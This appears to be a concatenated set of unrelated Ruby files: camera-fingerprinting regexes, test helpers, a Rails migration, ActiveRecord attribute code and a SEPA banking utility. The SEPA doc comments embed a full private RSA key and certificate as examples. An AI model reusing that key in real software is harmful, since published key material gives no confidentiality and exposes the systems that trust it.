{ :text=>'<FRAME NAME="WhatEver" SRC="/incl/whatever.shtml" SCROLLING=NO MARGINGHEIGHT=0 MARGINWIDTH=0>' },
# Frameset # Default trash frame
{ :text=>' <FRAME NAME="Trash" SRC="/view/trash.shtml" SCROLLING=NO MARGINGHEIGHT=0 MARGINWIDTH=0>' },
# Frameset # Default temp frame
{ :text=>' <FRAME NAME="Temp" SRC="/view/temp.shtml" SCROLLING=NO MARGINGHEIGHT=0 MARGINWIDTH=0>' },
# Default noscript text
{ :text=>'Your browser has JavaScript turned off.<br>For the user interface to work effectively, you must enable JavaScript in your browser and reload/refresh this page.' },
# Default img src
{ :text=>'<img SRC="/pics/AxisLogo.gif" WIDTH="95" HEIGHT="40" BORDER="0" ALIGN="right" ALT="' },
# Model Detection # Default video server title
{ :model=>/<TITLE>Live View \/? - AXIS ([^<]*) Video Server<\/TITLE>/i, :module=>"Live View" },
# Model Detection # Default network camera title
{ :model=>/<TITLE>Axis ([0-9]+)[^<]*Network Camera[^<]*<\/TITLE>/i },
# Version Detection # Default title for AXIS 2000 series
{ :version=>/<TITLE>Axis [0-9]+[^<]*Network Camera ([\d\.]+)<\/TITLE>/i },
# Version Detection # Default live view title for AXIS 200 series
{ :version=>/<TITLE>Live View \/? - AXIS [\da-z]+ [^<]*version ([\d\.]+)<\/TITLE>/i, :module=>"Live View" },
# Model Detection # Default live view title for AXIS 200 series
{ :model=>/<TITLE>Live View \/? - AXIS ([\da-z]+) [^<]*<\/TITLE>/i, :module=>"Live View" },
]
end
| 37.644737 | 173 | 0.68857 |
bb8ade52506bff47f8a7b2847bb0bbfe99025dd3 | 1,325 | # Theoretically, Capybara is clever enough to wait for asynchronous events to
# happen (e.g. AJAX). Sadly, this is not always true. For more, read:
#
# https://robots.thoughtbot.com/automatically-wait-for-ajax-with-capybara
#
# Therefore, we add some methods for waiting that will be used for these
# corner cases. All the public methods respect a timeout of
# `Capybara.default_max_wait_time`.
module WaitForEvents
# Wait for all the AJAX requests to have concluded.
def wait_for_ajax
wait_until_zero("$.active")
end
# Wait for all the effects on the given selector to have concluded.
def wait_for_effect_on(selector)
wait_until_zero("$('#{selector}').queue().length")
end
# This method will loop until the given block evaluates to true. It will
# respect to default timeout as specifyied by Capybara, unless you change the
# default value of the optional parameter `to`.
def wait_until(to = Capybara.default_max_wait_time)
Timeout.timeout(to) { loop until yield }
end
private
# Wait until the given JS snippet evaluates to zero. This is done while
# respecting the set `Capybara.default_max_wait_time` timeout.
def wait_until_zero(js)
wait_until { page.evaluate_script(js).zero? }
end
end
RSpec.configure do |config|
config.include WaitForEvents, type: :feature
end
| 33.974359 | 79 | 0.749434 |
913fea4365521d4f1e1db76cd723836c0124790f | 1,932 | class FixViewProjectDetailContributionPerDay < ActiveRecord::Migration
def up
execute <<-SQL
CREATE OR REPLACE VIEW "1".project_contributions_per_day AS
SELECT i.project_id,
json_agg( json_build_object('paid_at', i.created_at, 'created_at', i.created_at, 'total', i.total, 'total_amount', i.total_amount) ) AS source
FROM
(SELECT c.project_id,
p.created_at::date AS created_at,
count(c) AS total,
sum(c.value) AS total_amount
FROM contributions c
JOIN payments p ON p.contribution_id = c.id
WHERE p.paid_at IS NOT NULL
AND c.was_confirmed
GROUP BY p.created_at::date,
c.project_id
ORDER BY p.created_at::date ASC) AS i
GROUP BY i.project_id;
GRANT SELECT ON "1".project_contributions_per_day TO anonymous;
GRANT SELECT ON "1".project_contributions_per_day TO web_user;
GRANT SELECT ON "1".project_contributions_per_day TO ADMIN;
SQL
end
def down
execute <<-SQL
create or replace view "1".project_contributions_per_day as
select
i.project_id,
json_agg(
json_build_object('paid_at', i.paid_at, 'total', i.total, 'total_amount', i.total_amount)
) as source
from (select
c.project_id,
p.paid_at::date as paid_at,
count(c) as total,
sum(c.value) as total_amount
from contributions c
join payments p on p.contribution_id = c.id
where c.was_confirmed and p.paid_at is not null
group by p.paid_at::date, c.project_id
order by p.paid_at::date asc) as i
group by i.project_id;
grant select on "1".project_contributions_per_day to anonymous;
grant select on "1".project_contributions_per_day to web_user;
grant select on "1".project_contributions_per_day to admin;
SQL
end
end
| 36.45283 | 154 | 0.64648 |
263453cad5dcf68da1fb32d57000697fba8fa9b1 | 910 | class Seq < Array
attr_accessor :merge_modes
def initialize(seq = [], merge_mode = nil)
replace(seq)
merge_mode = merge_mode.respond_to?(:tag) ? merge_mode_from(merge_mode.tag) : merge_mode
@merge_modes = { rgt: merge_mode }
end
def init_with(node)
initialize(node.seq, node)
end
Array.instance_methods.each do |name|
skip = %i(class inspect all? empty? instance_of? is_a? nil? respond_to? object_id replace merge_mode)
next if skip.include?(name)
define_method(name) do |*args, &block|
obj = super(*args, &block)
obj = Seq.new(obj) if obj.instance_of?(Array)
obj.merge_modes = merge_modes if obj.instance_of?(Seq)
obj
end
end
private
def merge_mode_from(tag)
mode = tag.to_s.sub(/^!/, '').gsub('+', '_').to_sym
mode if MODES.include?(mode)
end
MODES = %i(
replace
prepend
append
)
end
| 23.947368 | 105 | 0.640659 |
1cee4cb9c7ce1a232f0fa461f05c66a2ca10d392 | 2,962 | require_relative 'spec_helper.rb'
require_relative '../lib/invoice_maker'
include InvoiceMaker
PDF_CONTENT_TYPE = 'application/pdf'
JSON_CONTENT_TYPE = 'application/json'
@test_uri = "invoice-generator.com"
# 200
def stub_request_success
pdf_response = File.open(File.join('fixtures', 'invoice.pdf'), 'r').read
stub_request(:post, /#{@test_uri}/).to_return(:body => pdf_response, :status => 200, :headers => {'Content-Type'=>PDF_CONTENT_TYPE})
end
# 404
def stub_request_not_found
stub_request(:post, /#{@test_uri}/).to_return(:body => "", :status => 404, :headers => {'Content-Type'=>PDF_CONTENT_TYPE})
end
# 503
def stub_request_error
stub_request(:post, /#{@test_uri}/).to_return(:body => "", :status => 503, :headers => {'Content-Type'=>PDF_CONTENT_TYPE})
end
describe Invoice do
before :each do
@invoice = Invoice.new
@data = JSON.parse(File.open(File.join('fixtures', 'invoice_in.json'), 'r').read)
@data_appended = JSON.parse(File.open(File.join('fixtures', 'invoice_appended.json'), 'r').read)
@item = {
"name" => "Some other task",
"quantity" => 2,
"unit_cost" => 270.0
}
end
it 'is an Invoice object' do
expect(@invoice).to be_kind_of(Invoice)
end
it 'sets dest_dir for pdfs' do
expect(@invoice.dest_dir).to eq("/tmp")
@invoice.dest_dir = "/tmp2"
expect(@invoice.dest_dir).to eq("/tmp2")
end
it 'sets invoice data' do
@invoice.set(@data)
expect(@invoice.data).to eq(@data)
end
it 'appends a line item to invoice data' do
@invoice.set(@data)
@invoice.append_item(@item)
expect(@invoice.data).to eq(@data_appended)
end
it 'fails to append a line item to empty invoice data' do
@invoice.set
expect{ @invoice.append_item(@item) }.to raise_error(RuntimeError)
expect(@invoice.data).to eq({})
end
it 'appends a line item to invoice data with no items array' do
@invoice.set({"from" => "Me"})
@invoice.append_item(@item)
expect(@invoice.data).to eq({"from" => "Me", "items" => [@item]})
end
it 'appends a line item to invoice data with empty items array' do
@invoice.set({"from" => "Me", "items" => []})
@invoice.append_item(@item)
expect(@invoice.data).to eq({"from" => "Me", "items" => [@item]})
end
it 'generates a pdf and saves as a file' do
stub_request_success
@invoice.set(@data)
fname = @invoice.generate
pdf_response = File.open(File.join('fixtures', 'invoice.pdf'), 'r').read
pdf_results = File.open(fname, 'r').read
expect(pdf_results).to eq(pdf_response)
end
it 'fails to generate and returns nil for not found response from api (404)' do
stub_request_not_found
@invoice.set(@data)
fname = @invoice.generate
expect(fname).to eq(nil)
end
it 'fails to generate and returns nil for error response from api (503)' do
stub_request_error
@invoice.set(@data)
fname = @invoice.generate
expect(fname).to eq(nil)
end
end
| 29.326733 | 134 | 0.664416 |
bf1679c1b46e3f903ce8d45ac478483079647d7c | 11,089 | # frozen_string_literal: true
require "active_model/attribute/user_provided_default"
module ActiveRecord
# See ActiveRecord::Attributes::ClassMethods for documentation
module Attributes
extend ActiveSupport::Concern
included do
class_attribute :attributes_to_define_after_schema_loads, instance_accessor: false, default: {} # :internal:
end
module ClassMethods
##
# :call-seq: attribute(name, cast_type = nil, **options)
#
# Defines an attribute with a type on this model. It will override the
# type of existing attributes if needed. This allows control over how
# values are converted to and from SQL when assigned to a model. It also
# changes the behavior of values passed to
# {ActiveRecord::Base.where}[rdoc-ref:QueryMethods#where]. This will let you use
# your domain objects across much of Active Record, without having to
# rely on implementation details or monkey patching.
#
# +name+ The name of the methods to define attribute methods for, and the
# column which this will persist to.
#
# +cast_type+ A symbol such as +:string+ or +:integer+, or a type object
# to be used for this attribute. See the examples below for more
# information about providing custom type objects.
#
# ==== Options
#
# The following options are accepted:
#
# +default+ The default value to use when no value is provided. If this option
# is not passed, the previous default value (if any) will be used.
# Otherwise, the default will be +nil+.
#
# +array+ (PostgreSQL only) specifies that the type should be an array (see the
# examples below).
#
# +range+ (PostgreSQL only) specifies that the type should be a range (see the
# examples below).
#
# When using a symbol for +cast_type+, extra options are forwarded to the
# constructor of the type object.
#
# ==== Examples
#
# The type detected by Active Record can be overridden.
#
# # db/schema.rb
# create_table :store_listings, force: true do |t|
# t.decimal :price_in_cents
# end
#
# # app/models/store_listing.rb
# class StoreListing < ActiveRecord::Base
# end
#
# store_listing = StoreListing.new(price_in_cents: '10.1')
#
# # before
# store_listing.price_in_cents # => BigDecimal(10.1)
#
# class StoreListing < ActiveRecord::Base
# attribute :price_in_cents, :integer
# end
#
# # after
# store_listing.price_in_cents # => 10
#
# A default can also be provided.
#
# # db/schema.rb
# create_table :store_listings, force: true do |t|
# t.string :my_string, default: "original default"
# end
#
# StoreListing.new.my_string # => "original default"
#
# # app/models/store_listing.rb
# class StoreListing < ActiveRecord::Base
# attribute :my_string, :string, default: "new default"
# end
#
# StoreListing.new.my_string # => "new default"
#
# class Product < ActiveRecord::Base
# attribute :my_default_proc, :datetime, default: -> { Time.now }
# end
#
# Product.new.my_default_proc # => 2015-05-30 11:04:48 -0600
# sleep 1
# Product.new.my_default_proc # => 2015-05-30 11:04:49 -0600
#
# \Attributes do not need to be backed by a database column.
#
# # app/models/my_model.rb
# class MyModel < ActiveRecord::Base
# attribute :my_string, :string
# attribute :my_int_array, :integer, array: true
# attribute :my_float_range, :float, range: true
# end
#
# model = MyModel.new(
# my_string: "string",
# my_int_array: ["1", "2", "3"],
# my_float_range: "[1,3.5]",
# )
# model.attributes
# # =>
# {
# my_string: "string",
# my_int_array: [1, 2, 3],
# my_float_range: 1.0..3.5
# }
#
# Passing options to the type constructor
#
# # app/models/my_model.rb
# class MyModel < ActiveRecord::Base
# attribute :small_int, :integer, limit: 2
# end
#
# MyModel.create(small_int: 65537)
# # => Error: 65537 is out of range for the limit of two bytes
#
# ==== Creating Custom Types
#
# Users may also define their own custom types, as long as they respond
# to the methods defined on the value type. The method +deserialize+ or
# +cast+ will be called on your type object, with raw input from the
# database or from your controllers. See ActiveModel::Type::Value for the
# expected API. It is recommended that your type objects inherit from an
# existing type, or from ActiveRecord::Type::Value
#
# class MoneyType < ActiveRecord::Type::Integer
# def cast(value)
# if !value.kind_of?(Numeric) && value.include?('$')
# price_in_dollars = value.gsub(/\$/, '').to_f
# super(price_in_dollars * 100)
# else
# super
# end
# end
# end
#
# # config/initializers/types.rb
# ActiveRecord::Type.register(:money, MoneyType)
#
# # app/models/store_listing.rb
# class StoreListing < ActiveRecord::Base
# attribute :price_in_cents, :money
# end
#
# store_listing = StoreListing.new(price_in_cents: '$10.00')
# store_listing.price_in_cents # => 1000
#
# For more details on creating custom types, see the documentation for
# ActiveModel::Type::Value. For more details on registering your types
# to be referenced by a symbol, see ActiveRecord::Type.register. You can
# also pass a type object directly, in place of a symbol.
#
# ==== \Querying
#
# When {ActiveRecord::Base.where}[rdoc-ref:QueryMethods#where] is called, it will
# use the type defined by the model class to convert the value to SQL,
# calling +serialize+ on your type object. For example:
#
# class Money < Struct.new(:amount, :currency)
# end
#
# class MoneyType < Type::Value
# def initialize(currency_converter:)
# @currency_converter = currency_converter
# end
#
# # value will be the result of +deserialize+ or
# # +cast+. Assumed to be an instance of +Money+ in
# # this case.
# def serialize(value)
# value_in_bitcoins = @currency_converter.convert_to_bitcoins(value)
# value_in_bitcoins.amount
# end
# end
#
# # config/initializers/types.rb
# ActiveRecord::Type.register(:money, MoneyType)
#
# # app/models/product.rb
# class Product < ActiveRecord::Base
# currency_converter = ConversionRatesFromTheInternet.new
# attribute :price_in_bitcoins, :money, currency_converter: currency_converter
# end
#
# Product.where(price_in_bitcoins: Money.new(5, "USD"))
# # => SELECT * FROM products WHERE price_in_bitcoins = 0.02230
#
# Product.where(price_in_bitcoins: Money.new(5, "GBP"))
# # => SELECT * FROM products WHERE price_in_bitcoins = 0.03412
#
# ==== Dirty Tracking
#
# The type of an attribute is given the opportunity to change how dirty
# tracking is performed. The methods +changed?+ and +changed_in_place?+
# will be called from ActiveModel::Dirty. See the documentation for those
# methods in ActiveModel::Type::Value for more details.
def attribute(name, cast_type = nil, **options, &decorator)
name = name.to_s
reload_schema_from_cache
prev_cast_type, prev_options, prev_decorator = attributes_to_define_after_schema_loads[name]
unless cast_type && prev_cast_type
cast_type ||= prev_cast_type
options = prev_options || options if options.empty?
decorator ||= prev_decorator
end
self.attributes_to_define_after_schema_loads = attributes_to_define_after_schema_loads.merge(
name => [cast_type, options, decorator]
)
end
# This is the low level API which sits beneath +attribute+. It only
# accepts type objects, and will do its work immediately instead of
# waiting for the schema to load. Automatic schema detection and
# ClassMethods#attribute both call this under the hood. While this method
# is provided so it can be used by plugin authors, application code
# should probably use ClassMethods#attribute.
#
# +name+ The name of the attribute being defined. Expected to be a +String+.
#
# +cast_type+ The type object to use for this attribute.
#
# +default+ The default value to use when no value is provided. If this option
# is not passed, the previous default value (if any) will be used.
# Otherwise, the default will be +nil+. A proc can also be passed, and
# will be called once each time a new value is needed.
#
# +user_provided_default+ Whether the default value should be cast using
# +cast+ or +deserialize+.
def define_attribute(
name,
cast_type,
default: NO_DEFAULT_PROVIDED,
user_provided_default: true
)
attribute_types[name] = cast_type
define_default_attribute(name, default, cast_type, from_user: user_provided_default)
end
def load_schema! # :nodoc:
super
attributes_to_define_after_schema_loads.each do |name, (type, options, decorator)|
if type.is_a?(Symbol)
type = ActiveRecord::Type.lookup(type, **options.except(:default), adapter: ActiveRecord::Type.adapter_name_from(self))
elsif type.nil?
type = type_for_attribute(name)
end
type = decorator[type] if decorator
define_attribute(name, type, **options.slice(:default))
end
end
private
NO_DEFAULT_PROVIDED = Object.new # :nodoc:
private_constant :NO_DEFAULT_PROVIDED
def define_default_attribute(name, value, type, from_user:)
if value == NO_DEFAULT_PROVIDED
default_attribute = _default_attributes[name].with_type(type)
elsif from_user
default_attribute = ActiveModel::Attribute::UserProvidedDefault.new(
name,
value,
type,
_default_attributes.fetch(name.to_s) { nil },
)
else
default_attribute = ActiveModel::Attribute.from_database(name, value, type)
end
_default_attributes[name] = default_attribute
end
end
end
end
| 37.846416 | 131 | 0.608982 |
1deaf823087085fa4d7f2b7ccf738d2bab650247 | 13,558 | module Sepa
# Contains utility methods that are used in this gem.
module Utilities
# Calculates a SHA1 digest for a given node. Before the calculation, the node is canonicalized
# exclusively.
#
# @param node [Nokogiri::Node] the node which the digest is calculated from
# @return [String] the calculated digest
def calculate_digest(node)
sha1 = OpenSSL::Digest::SHA1.new
canon_node = canonicalize_exclusively(node)
encode(sha1.digest(canon_node)).gsub(/\s+/, "")
end
# Takes a certificate, adds begin and end certificate texts and splits it into multiple lines so
# that OpenSSL can read it.
#
# @param cert_value [#to_s] the certificate to be processed
# @return [String] the processed certificate
# @todo rename maybe because this seems more formatting than {#format_cert}
def process_cert_value(cert_value)
cert = "-----BEGIN CERTIFICATE-----\n"
cert << cert_value.to_s.gsub(/\s+/, "").scan(/.{1,64}/).join("\n")
cert << "\n"
cert << "-----END CERTIFICATE-----"
end
# Removes begin and end certificate texts from a certificate and removes whitespaces to make the
# certificate read to be embedded in xml.
#
# @param cert [#to_s] The certificate to be formatted
# @return [String] the formatted certificate
# @todo rename maybe
# @see #process_cert_value
def format_cert(cert)
cert = cert.to_s
cert = cert.split('-----BEGIN CERTIFICATE-----')[1]
cert = cert.split('-----END CERTIFICATE-----')[0]
cert.gsub!(/\s+/, "")
end
# Removes begin and end certificate request texts from a certificate signing request and removes
# whitespaces
#
# @param cert_request [String] the certificate request to be formatted
# @return [String] the formatted certificate request
# @todo rename
def format_cert_request(cert_request)
cert_request = cert_request.split('-----BEGIN CERTIFICATE REQUEST-----')[1]
cert_request = cert_request.split('-----END CERTIFICATE REQUEST-----')[0]
cert_request.gsub!(/\s+/, "")
end
# Validates whether a doc is valid against a schema. Adds error using ActiveModel validations if
# document is not valid against the schema.
#
# @param doc [Nokogiri::XML::Document] the document to validate
# @param schema [String] name of the schema file in {SCHEMA_PATH}
def check_validity_against_schema(doc, schema)
Dir.chdir(SCHEMA_PATH) do
xsd = Nokogiri::XML::Schema(IO.read(schema))
unless doc.respond_to?(:canonicalize) && xsd.valid?(doc)
errors.add(:base, 'The document did not validate against the schema file')
end
end
end
# Extracts a certificate from a document and returns it as an OpenSSL X509 certificate. Returns
# nil if the node cannot be found
#
# @param doc [Nokogiri::XML::Document] the document that contains the certificate node
# @param node [String] the name of the node that contains the certificate
# @param namespace [String] the namespace of the certificate node
# @return [OpenSSL::X509::Certificate] the extracted certificate if it is extracted successfully
# @return [nil] if the certificate cannot be found
# @raise [OpenSSL::X509::CertificateError] if there is a problem with the certificate
# @todo refactor not to fail
def extract_cert(doc, node, namespace)
cert_raw = doc.at("xmlns|#{node}", 'xmlns' => namespace)
return nil unless cert_raw
cert_raw = cert_raw.content.gsub(/\s+/, "")
cert = process_cert_value(cert_raw)
begin
x509_certificate(cert)
rescue => e
raise OpenSSL::X509::CertificateError,
"The certificate could not be processed. It's most likely corrupted. " \
"OpenSSL had this to say: #{e}."
end
end
# Checks whether a certificate signing request is valid
#
# @param cert_request [#to_s] the certificate signing request
# @return [true] if the certificate signing request is valid
# @return [false] if the certificate signing request is not valid
# @todo rename
def cert_request_valid?(cert_request)
begin
OpenSSL::X509::Request.new cert_request
rescue
return false
end
true
end
# Loads a soap or application request xml template according to a parameter and command.
#
# @param template [String] path to a template directory. Currently supported values are defined
# in contants {AR_TEMPLATE_PATH} and {SOAP_TEMPLATE_PATH}.
# @return [Nokogiri::XML::Document] the loaded template
# @raise [ArgumentError] if a template cannot be found for a command
def load_body_template(template)
raise ArgumentError, 'Unsupported command' unless SUPPORTED_COMMANDS.include?(@command)
file = if STANDARD_COMMANDS.include?(@command)
"#{template}/#{@command}.xml"
else
"#{template}/#{@bank}/#{@command}.xml"
end
xml_doc(File.open(file))
end
# Gets current utc time in iso-format
#
# @return [String] current utc time in iso-format
def iso_time
@iso_time ||= Time.now.utc.iso8601
end
# Calculates an HMAC for a given pin and certificate signing request. Used by Nordea certificate
# requests.
#
# @param pin [#to_s] the one-time pin number got from bank
# @param csr [#to_s] the certificate signing request
# @return [String] the generated HMAC for the values
def hmac(pin, csr)
encode(OpenSSL::HMAC.digest('sha1', pin, csr)).chop
end
# Converts a certificate signing request from base64 encoded string to binary string
#
# @param csr [#to_s] certificate signing request in base64 encoded format
# @return [String] the certificate signing request in binary format
def csr_to_binary(csr)
OpenSSL::X509::Request.new(csr).to_der
end
# Canonicalizes a node inclusively
#
# @param doc [Nokogiri::XML::Document] the document that contains the node
# @param namespace [String] the namespace of the node
# @param node [String] name of the node
# @return [String] the canonicalized node if the node can be found
# @return [nil] if the node cannot be found
def canonicalized_node(doc, namespace, node)
content_node = doc.at("xmlns|#{node}", xmlns: namespace)
content_node.canonicalize if content_node
end
# Converts an xml string to a nokogiri document
#
# @param value [to_s] the xml document
# @return [Nokogiri::XML::Document] the xml document
def xml_doc(value)
Nokogiri::XML value
end
# Decodes a base64 encoded string
#
# @param value [#to_s] the base64 encoded string
# @return [String] the decoded string
def decode(value)
Base64.decode64 value
end
# Canonicalizes an xml node exclusively without comments
#
# @param value [Nokogiri::XML::Node, #canonicalize] the node to be canonicalized
# @return [String] the canonicalized node
def canonicalize_exclusively(value)
value.canonicalize(Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0)
end
# Creates a new OpenSSL X509 certificate from a string
#
# @param value [#to_s] the string from which to create the certificate
# @return [OpenSSL::X509::Certificate] the OpenSSL X509 certificate
# @example Example certificate to convert
# "-----BEGIN CERTIFICATE-----
# MIIDwTCCAqmgAwIBAgIEAX1JuTANBgkqhkiG9w0BAQUFADBkMQswCQYDVQQGEwJT
# RTEeMBwGA1UEChMVTm9yZGVhIEJhbmsgQUIgKHB1YmwpMR8wHQYDVQQDExZOb3Jk
# ZWEgQ29ycG9yYXRlIENBIDAxMRQwEgYDVQQFEws1MTY0MDYtMDEyMDAeFw0xMzA1
# MDIxMjI2MzRaFw0xNTA1MDIxMjI2MzRaMEQxCzAJBgNVBAYTAkZJMSAwHgYDVQQD
# DBdOb3JkZWEgRGVtbyBDZXJ0aWZpY2F0ZTETMBEGA1UEBRMKNTc4MDg2MDIzODCB
# nzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAwtFEfAtbJuGzQwwRumZkvYh2BjGY
# VsAMUeiKtOne3bZSeisfCq+TXqL1gI9LofyeAQ9I/sDm6tL80yrD5iaSUqVm6A73
# 9MsmpW/iyZcVf7ms8xAN51ESUgN6akwZCU9pH62ngJDj2gUsktY0fpsoVsARdrvO
# Fk0fTSUXKWd6LbcCAwEAAaOCAR0wggEZMAkGA1UdEwQCMAAwEQYDVR0OBAoECEBw
# 2cj7+XMAMBMGA1UdIAQMMAowCAYGKoVwRwEDMBMGA1UdIwQMMAqACEALddbbzwun
# MDcGCCsGAQUFBwEBBCswKTAnBggrBgEFBQcwAYYbaHR0cDovL29jc3Aubm9yZGVh
# LnNlL0NDQTAxMA4GA1UdDwEB/wQEAwIFoDCBhQYDVR0fBH4wfDB6oHigdoZ0bGRh
# cCUzQS8vbGRhcC5uYi5zZS9jbiUzRE5vcmRlYStDb3Jwb3JhdGUrQ0ErMDElMkNv
# JTNETm9yZGVhK0JhbmsrQUIrJTI4cHVibCUyOSUyQ2MlM0RTRSUzRmNlcnRpZmlj
# YXRlcmV2b2NhdGlvbmxpc3QwDQYJKoZIhvcNAQEFBQADggEBACLUPB1Gmq6286/s
# ROADo7N+w3eViGJ2fuOTLMy4R0UHOznKZNsuk4zAbS2KycbZsE5py4L8o+IYoaS8
# 8YHtEeckr2oqHnPpz/0Eg7wItj8Ad+AFWJqzbn6Hu/LQhlnl5JEzXzl3eZj9oiiJ
# 1q/2CGXvFomY7S4tgpWRmYULtCK6jode0NhgNnAgOI9uy76pSS16aDoiQWUJqQgV
# ydowAnqS9h9aQ6gedwbOdtkWmwKMDVXU6aRz9Gvk+JeYJhtpuP3OPNGbbC5L7NVd
# no+B6AtwxmG3ozd+mPcMeVuz6kKLAmQyIiBSrRNa5OrTkq/CUzxO9WUgTnm/Sri7
# zReR6mU=
# -----END CERTIFICATE-----"
def x509_certificate(value)
OpenSSL::X509::Certificate.new value
end
# Base64 encodes a given value
#
# @param value [#to_s] the value to be encoded
# @return [String] the base64 encoded string
def encode(value)
Base64.encode64 value
end
# Creates a new OpenSSL RSA key from a string key
#
# @param key_as_string [to_s] the key as a string
# @return [OpenSSL::PKey::RSA] the OpenSSL RSA key
# @example Example key to convert
# "-----BEGIN PRIVATE KEY-----
# MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAMLRRHwLWybhs0MM
# EbpmZL2IdgYxmFbADFHoirTp3t22UnorHwqvk16i9YCPS6H8ngEPSP7A5urS/NMq
# w+YmklKlZugO9/TLJqVv4smXFX+5rPMQDedRElIDempMGQlPaR+tp4CQ49oFLJLW
# NH6bKFbAEXa7zhZNH00lFylnei23AgMBAAECgYEAqt912/7x4jaQTrxlSELLFVp9
# eo1BesVTiPwXvPpsGbbyvGjZ/ztkXNs9zZbh1aCGzZMkiR2U7F5GlsiprlIif4cF
# 6Xz7rCjaAs7iDRt9PjhjVuqNGR2I+VIIlbQ9XWFJ3lJFW3v7TIZ8JbLnn0XOFz+Z
# BBSSGTK1zTNh4TBQtjECQQDe5M3uu9m4RwSw9R6GaDw/IFQZgr0oWSv0WIjRwvwW
# nFnSX2lbkNAjulP0daGsmn7vxIpqZxPxwcrU4wFqTF5dAkEA38DnbCm3YfogzwLH
# Nre2hBmGqjWarhtxqtRarrkgnmOd8W0Z1Hb1dSHrliUSVSrINbK5ZdEV15Rpu7VD
# OePzIwJAPMslS+8alANyyR0iJUC65fDYX1jkZOPldDDNqIDJJxWf/hwd7WaTDpuc
# mHmZDi3ZX2Y45oqUywSzYNtFoIuR1QJAZYUZuyqmSK77SdGB36K1DfSi9AFEQDC1
# fwPAbTwTv6mFFPAiYxLiRZXxVPtW+QtjMXH4ymh2V4y/+GnCqbZyLwJBAJQSDAME
# Sn4Uz7Zjk3UrBIbMYEv0u2mcCypwsb0nGE5/gzDPjGE9cxWW+rXARIs+sNQVClnh
# 45nhdfYxOjgYff0=
# -----END PRIVATE KEY-----"
def rsa_key(key_as_string)
OpenSSL::PKey::RSA.new key_as_string
end
# Generates a random id for a node in soap and sets it to the soap header
#
# @param document [Nokogiri::XML::Document] the document that contains the node
# @param namespace [String] the namespace of the node
# @param node [String] name of the node
# @param position [Integer] the soap header might contain many references and this parameter
# defines which reference is used. Numbering starts from 0.
# @return [String] the generated id of the node
# @todo create functionality to automatically add reference nodes to header so than position is
# not needed
def set_node_id(document, namespace, node, position)
node_id = "#{node.downcase}-#{SecureRandom.uuid}"
document.at("xmlns|#{node}", xmlns: namespace)['wsu:Id'] = node_id
@header_template.css('dsig|Reference')[position]['URI'] = "##{node_id}"
node_id
end
# Verifies that a signature has been created with the private key of a certificate
#
# @param doc [Nokogiri::XML::Document] the document that contains the signature
# @param certificate [OpenSSL::X509::Certificate] the certificate to verify the signature
# against
# @param canonicalization_method [Symbol] The canonicalization method that has been used to
# canonicalize the SignedInfo node. Accepts `:normal` or `:exclusive`.
# @return [true] if signature verifies
# @return [false] if signature fails to verify or if it cannot be found
def validate_signature(doc, certificate, canonicalization_method)
node = doc.at('xmlns|SignedInfo', xmlns: DSIG)
return false unless node
node = case canonicalization_method
when :normal
node.canonicalize
when :exclusive
canonicalize_exclusively node
end
signature = doc.at('xmlns|SignatureValue', xmlns: DSIG).content
signature = decode(signature)
# Return true or false
certificate.public_key.verify(OpenSSL::Digest::SHA1.new, signature, node)
end
# Verifies that a certificate has been signed by the private key of a root certificate
#
# @param certificate [OpenSSL::X509::Certificate] the certificate to verify
# @param root_certificate [OpenSSL::X509::Certificate] the root certificate
# @return [true] if the certificate has been signed by the private key of the root certificate
# @return [false] if the certificate has not been signed by the private key of the root
# certificate, the certificates are nil or the subject of the root certificate is not the
# issuer of the certificate
def verify_certificate_against_root_certificate(certificate, root_certificate)
return false unless certificate && root_certificate
return false unless root_certificate.subject == certificate.issuer
certificate.verify(root_certificate.public_key)
end
end
end
| 42.36875 | 100 | 0.708585 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.